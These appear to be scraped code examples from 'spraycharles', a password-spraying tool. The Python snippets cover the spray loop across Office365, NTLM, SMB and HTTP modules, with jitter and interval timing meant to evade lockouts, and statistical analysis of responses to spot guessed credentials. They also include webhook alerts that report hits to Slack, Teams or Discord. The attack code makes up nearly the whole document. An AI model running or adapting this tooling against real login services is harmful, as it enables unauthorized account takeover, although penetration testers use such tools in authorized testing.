Пример #1
0
def modules():
    """
    List all the available spraying modules
    """

    module_table = Table(
        show_header=True,
        show_footer=False,
        min_width=61,
        title="Spraying Modules",
        title_justify="left",
        title_style="bold reverse",
    )
    module_table.add_column("Module", style="bold")
    module_table.add_column("Description")
    dir_path = os.path.dirname(os.path.realpath(__file__))
    mod_list = os.listdir(dir_path + "/targets/")
    for module in mod_list:
        if module.endswith(".py") and module != "__init__.py":
            module = module.replace(".py", "")
            mod_name = getattr(sys.modules[__name__], module)
            class_name = getattr(mod_name, module)
            doc = class_name.__doc__
            module_table.add_row(f"[blue]{module}[/blue]",
                                 f"[yellow]{doc}[/yellow]")

    console.print(Padding(module_table, (1, 1)))
Пример #2
0
    def _login(self, username, password):
        """
        Perform login attempt
        """

        try:
            response = self.target.login(username, password)
            self.target.print_response(response, self.output)
        except requests.ConnectTimeout as e:
            self.target.print_response(response, self.output, timeout=True)
        except (requests.ConnectionError, requests.ReadTimeout) as e:
            console.print("\n[!] Connection error - sleeping for 5 seconds",
                          style="danger")
            sleep(5)
            self._login(username, password)
Пример #3
0
    def send_notification(self, hit_total):
        # we'll only send notifications if NEW successes are found
        if hit_total > self.hit_count:
            # Calling notifications if specified
            if self.notify:
                print()
                console.print(
                    f"[*] Sending notification to {self.notify} webhook",
                    style="info")

            if self.notify == "slack":
                slack(self.webhook, self.host)
            elif self.notify == "teams":
                teams(self.webhook, self.host)
            elif self.notify == "discord":
                discord(self.webhook, self.host)
Пример #4
0
    def O365_analyze(self, responses):
        results = []
        for line in responses:
            results.append(line[0])
        success_indicies = list(
            filter(lambda x: results[x] == "Success", range(len(results))))

        if len(success_indicies) > 0:
            console.print(
                "[+] Identified potentially sussessful logins!",
                style="good",
            )
            success_table = Table(show_footer=False, highlight=True)

            success_table.add_column("Username")
            success_table.add_column("Password")
            success_table.add_column("Message", justify="right")
            for x in success_indicies:
                success_table.add_row(f"{responses[x][2]}",
                                      f"{responses[x][3]}",
                                      f"{responses[x][1]}")

            console.print(success_table)

            self.send_notification(len(success_indicies))

            # Returning true to indicate a successfully guessed credential
            return len(success_indicies)
        else:
            console.print("[!] No successful logins", style="danger")

            return 0
Пример #5
0
    def _check_sleep(self):
        """
        If running on interval, handle analyzing and sleep interval
        """
        if self.login_attempts == self.attempts:
            if self.analyze:
                analyzer = Analyzer(self.output, self.notify, self.webhook,
                                    self.host, self.total_hits)
                new_hit_total = analyzer.analyze()

                # Pausing if specified by user before continuing with spray
                if new_hit_total > self.total_hits and self.pause:
                    print()
                    console.print(
                        f"[+] Successful login potentially identified. Pausing...",
                        style="good",
                    )
                    print()
                    Confirm.ask(
                        "[blue]Press enter to continue",
                        default=True,
                        show_choices=False,
                        show_default=False,
                    )
                    print()
            else:
                new_hit_total = (
                    0  # just set to zero since results aren't being analyzed mid-spray
                )
                print()

            console.print(
                f'[yellow][*] Sleeping until {(datetime.datetime.now() + datetime.timedelta(minutes=self.interval)).strftime("%m-%d %H:%M:%S")}[/yellow]'
            )
            time.sleep(self.interval * 60)
            print()

            # reset counter and set hit total
            self.login_attempts = 0
            self.total_hits = new_hit_total
Пример #6
0
    def analyze(self):
        try:
            with open(self.resultsfile, newline="") as resultsfile:
                print()
                console.print("[*] Reading spray data from CSV", style="info")
                reader = csv.reader(
                    resultsfile,
                    delimiter=",",
                )
                responses = list(reader)
        except Exception as e:
            console.print(f"[!] Error reading from file: {self.resultsfile}",
                          style="danger")
            print(e)
            exit()

        if responses[0][1] == "Message":
            return self.O365_analyze(responses)
        elif responses[0][2] == "SMB Login":
            return self.smb_analyze(responses)
        else:
            return self.http_analyze(responses)
Пример #7
0
    def initialize_module(self):
        """
        Instantiate the specified spray module
        """
        try:
            # Passing in path for NTLM over HTTP module
            if self.module.title().lower() == "ntlm":
                self.module = self.module.title()
                mod_name = getattr(sys.modules[__name__], self.module)
                class_name = getattr(mod_name, self.module)
                self.target = class_name(self.host, self.port, self.timeout,
                                         self.path, self.fireprox)
            else:
                # Else, we just pass the default arguments
                self.module = self.module.title()
                mod_name = getattr(sys.modules[__name__], self.module)
                class_name = getattr(mod_name, self.module)
                self.target = class_name(self.host, self.port, self.timeout,
                                         self.fireprox)
        except AttributeError:
            console.print(
                f"[!] Error loading {self.module} module. {self.module} is spelled incorrectly or does not exist",
                style="danger",
            )
            exit()

        # Create the logfile
        user_home = str(Path.home())
        current = datetime.datetime.now()
        timestamp = int(round(current.timestamp()))

        self.log_name = f"{user_home}/.spraycharles/logs/{self.host}.{timestamp}.log"
        logging.basicConfig(
            filename=self.log_name,
            level=logging.INFO,
            format="%(asctime)s - %(levelname)s - %(message)s",
        )
Пример #8
0
    def smb_analyze(self, responses):
        successes = []
        positive_statuses = [
            "STATUS_SUCCESS",
            "STATUS_ACCOUNT_DISABLED",
            "STATUS_PASSWORD_EXPIRED",
            "STATUS_PASSWORD_MUST_CHANGE",
        ]
        for line in responses[1:]:
            if line[2] in positive_statuses:
                successes.append(line)

        if len(successes) > 0:
            console.print("[+] Identified potentially sussessful logins!\n",
                          style="good")

            success_table = Table(show_footer=False, highlight=True)

            success_table.add_column("Username")
            success_table.add_column("Password")
            success_table.add_column("Status")
            for x in successes:
                success_table.add_row(f"{x[0]}", f"{x[1]}", f"{x[2]}")

            console.print(success_table)

            self.send_notification(len(successes))

            print()

            # Returning true to indicate a successfully guessed credential
            return len(successes)
        else:
            console.print("[!] No successful SMB logins", style="danger")
            print()
            return 0
Пример #9
0
    def http_analyze(self, responses):
        # remove header row from list
        del responses[0]

        len_with_timeouts = len(responses)

        # remove lines with timeouts
        responses = [line for line in responses if line[2] != "TIMEOUT"]
        timeouts = len_with_timeouts - len(responses)

        response_lengths = []
        # Get the response length column for analysis
        for indx, line in enumerate(responses):
            response_lengths.append(int(line[3]))

        console.print(
            "[*] Calculating mean and standard deviation of response lengths.",
            style="info",
        )

        # find outlying response lengths
        length_elements = numpy.array(response_lengths)
        length_mean = numpy.mean(length_elements, axis=0)
        length_sd = numpy.std(length_elements, axis=0)
        console.print("[*] Checking for outliers.", style="info")
        length_outliers = [
            x for x in length_elements
            if (x > length_mean + 2 * length_sd or x < length_mean -
                2 * length_sd)
        ]

        length_outliers = list(set(length_outliers))
        len_indicies = []

        # find username / password combos with matching response lengths
        for hit in length_outliers:
            len_indicies += [
                i for i, x in enumerate(responses) if x[3] == str(hit)
            ]

        # print out logins with outlying response lengths
        if len(len_indicies) > 0:
            console.print("[+] Identified potentially sussessful logins!\n",
                          style="good")

            success_table = Table(show_footer=False, highlight=True)

            success_table.add_column("Username")
            success_table.add_column("Password")
            success_table.add_column("Response Code", justify="right")
            success_table.add_column("Response Length", justify="right")
            for x in len_indicies:
                success_table.add_row(
                    f"{responses[x][0]}",
                    f"{responses[x][1]}",
                    f"{responses[x][2]}",
                    f"{responses[x][3]}",
                )

            console.print(success_table)

            self.send_notification(len(len_indicies))

            print()

            # Returning true to indicate a successfully guessed credential
            return len(len_indicies)
        else:
            console.print(
                "[!] No outliers found or not enough data to find statistical significance.",
                style="danger",
            )
            print()
            return 0
Пример #10
0
    def spray(self):
        """
        Begin the password spray
        """
        # spray once with password = username if flag present
        if self.equal:
            with Progress(transient=True) as progress:
                task = progress.add_task(f"[yellow]Equal Set",
                                         total=len(self.usernames))
                for username in self.usernames:
                    password = username.split("@")[0]
                    if self.jitter is not None:
                        if self.jitter_min is None:
                            self.jitter_min = 0
                        time.sleep(random.randint(self.jitter_min,
                                                  self.jitter))
                    self._login(username, password)
                    progress.update(task, advance=1)

                    # log the login attempt
                    logging.info(f"Login attempted as {username}")

            self.login_attempts += 1

        # spray using password file
        for password in self.passwords:
            # trigger sleep if attempts limit hit
            self._check_sleep()

            # check if user/pass files have been updated and add new entries to current lists
            # this will let users add (but not remove) users/passwords into the spray as it runs
            new_users = self._check_file_contents(self.user_file,
                                                  self.usernames)
            new_passwords = self._check_file_contents(self.password_file,
                                                      self.passwords)

            if len(new_users) > 0:
                console.print(
                    f"[>] Adding {len(new_users)} new users into the spray!",
                    style="info",
                )
                self.usernames.extend(new_users)

            if len(new_passwords) > 0:
                console.print(
                    f"[>] Adding {len(new_passwords)} new passwords to the end of the spray!",
                    style="info",
                )
                self.passwords.extend(new_passwords)

            # print line separator
            if len(new_passwords) > 0 or len(new_users) > 0:
                print()

            with Progress(transient=True) as progress:
                task = progress.add_task(f"[green]Spraying: {password}",
                                         total=len(self.usernames))
                while not progress.finished:
                    for username in self.usernames:
                        if self.domain:
                            username = f"{self.domain}\\{username}"
                        if self.jitter is not None:
                            if self.jitter_min is None:
                                self.jitter_min = 0
                            time.sleep(
                                random.randint(self.jitter_min, self.jitter))
                        self._login(username, password)
                        progress.update(task, advance=1)

                        # log the login attempt
                        logging.info(f"Login attempted as {username}")

            self.login_attempts += 1

        # analyze the results to point out possible hits
        analyzer = Analyzer(self.output, self.notify, self.webhook, self.host,
                            self.total_hits)
        analyzer.analyze()
Пример #11
0
    def __init__(
        self,
        passwords,
        users,
        host,
        module,
        path,
        output,
        attempts,
        interval,
        equal,
        timeout,
        port,
        fireprox,
        domain,
        analyze,
        jitter,
        jitter_min,
        notify,
        webhook,
        pause,
    ):
        """
        Validate args and initalize class attributes
        """

        # if any other module than Office365 is specified, make sure hostname was provided
        if module.lower() != "office365" and not host:
            console.print(
                "[!] Hostname (-H) of target (mail.targetdomain.com) is required for all modules execept Office365",
                style="danger",
            )
            exit()

        elif module.lower() == "office365" and not host:
            host = "Office365"  # set host to Office365 for the logfile name
        elif module.lower() == "smb" and (timeout != 5 or fireprox
                                          or port != 443):
            console.print(
                "[!] Fireprox (-f), port (-P) and timeout (-t) are incompatible when spraying over SMB",
                style="warning",
            )

        # get usernames from file
        try:
            with open(users, "r") as f:
                user_list = f.read().splitlines()
        except Exception:
            console.print(f"[!] Error reading usernames from file: {users}",
                          style="danger")
            exit()

        # get passwords from file, otherwise treat arg as a single password to spray
        try:
            with open(passwords, "r") as f:
                password_list = f.read().splitlines()
        except Exception:
            password_list = [passwords]

        # check that interval and attempt args are supplied together
        if interval and not attempts:
            console.print(
                "[!] Number of login attempts per interval (-a) required with -i",
                style="danger",
            )
            exit()
        elif not interval and attempts:
            console.print("[!] Minutes per interval (-i) required with -a",
                          style="danger")
            exit()
        elif not interval and not attempts and len(password_list) > 1:
            console.print(
                "[*] You have not provided spray attempts/interval. This may lead to account lockouts!",
                style="warning",
            )
            print()

            Confirm.ask(
                "[yellow]Press enter to continue anyways",
                default=True,
                show_choices=False,
                show_default=False,
            )

        # Check that jitter flags aren't supplied independently
        if jitter_min and not jitter:
            console.print("--jitter-min flag must be set with --jitter flag",
                          style="danger")
            exit()

        elif jitter and not jitter_min:
            console.print(
                "[!] --jitter flag must be set with --jitter-min flag",
                style="danger")
            exit()

        if jitter and jitter_min and jitter_min >= jitter:
            console.print(
                "[!] --jitter flag must be greater than --jitter-min flag",
                style="danger",
            )
            exit()

        # Making sure user set path variable for NTLM authentication module
        if module.lower() == "ntlm" and path is None:
            console.print(
                "[!] Must set --path to use the NTLM authentication module",
                style="danger",
            )
            exit()

        if notify and webhook is None:
            console.print(
                "[!] Must specify a Webhook URL when the notify flag is used.",
                style="danger",
            )
            exit()

        # Create spraycharles directories if they don't exist
        user_home = str(Path.home())
        if not os.path.exists(f"{user_home}/.spraycharles"):
            os.mkdir(f"{user_home}/.spraycharles")
            os.mkdir(f"{user_home}/.spraycharles/logs")
            os.mkdir(f"{user_home}/.spraycharles/out")

        # Building output files
        current = datetime.datetime.now()
        timestamp = current.strftime("%Y%m%d-%H%M%S")
        if output == "output.csv":
            output = f"{user_home}/.spraycharles/out/{host}.{timestamp}.csv"

        self.passwords = password_list
        self.password_file = passwords
        self.usernames = user_list
        self.user_file = users
        self.host = host
        self.module = module
        self.path = path
        self.output = output
        self.attempts = attempts
        self.interval = interval
        self.equal = equal
        self.timeout = timeout
        self.port = port
        self.fireprox = fireprox
        self.domain = domain
        self.analyze = analyze
        self.jitter = jitter
        self.jitter_min = jitter_min
        self.notify = notify
        self.webhook = webhook
        self.pause = pause
        self.total_hits = 0
        self.login_attempts = 0
        self.target = None
        self.log_name = None
Пример #12
0
    def pre_spray_info(self):
        """
        Display spray config table
        """
        spray_info = Table(
            show_header=False,
            show_footer=False,
            min_width=61,
            title=f"Module: {self.module.upper()}",
            title_justify="left",
            title_style="bold reverse",
        )

        spray_info.add_row("Target", f"{self.target.url}")

        if self.domain:
            spray_info.add_row("Domain", f"{self.domain}")

        if self.attempts:
            spray_info.add_row("Interval", f"{self.interval} minutes")
            spray_info.add_row("Attempts", f"{self.attempts} per interval")

        if self.jitter:
            spray_info.add_row("Jitter",
                               f"{self.jitter_min}-{self.jitter} seconds")

        if self.notify:
            spray_info.add_row("Notify", f"True ({self.notify})")

        log_name = pathlib.PurePath(self.log_name)
        out_name = pathlib.PurePath(self.output)
        spray_info.add_row("Logfile", f"{log_name.name}")
        spray_info.add_row("Results", f"{out_name.name}")

        console.print(spray_info)

        print()
        Confirm.ask(
            "[blue]Press enter to begin",
            default=True,
            show_choices=False,
            show_default=False,
        )
        print()

        if self.module == "Smb":
            console.print(f"[*] Initiaing SMB connection to {self.host} ...",
                          style="warning")
            if self.target.get_conn():
                console.print(
                    f'[+] Connected to {self.host} over {"SMBv1" if self.target.smbv1 else "SMBv3"}',
                    style="good",
                )

                console.print(f"\t[>] Hostname: {self.target.hostname} ",
                              style="info")
                console.print(f"\t[>] Domain: {self.target.domain} ",
                              style="info")
                console.print(f"\t[>] OS: {self.target.os} ", style="info")
                print()

            else:
                console.print(f"[!] Failed to connect to {self.host} over SMB",
                              style="danger")
                exit()

        self.target.print_headers(self.output)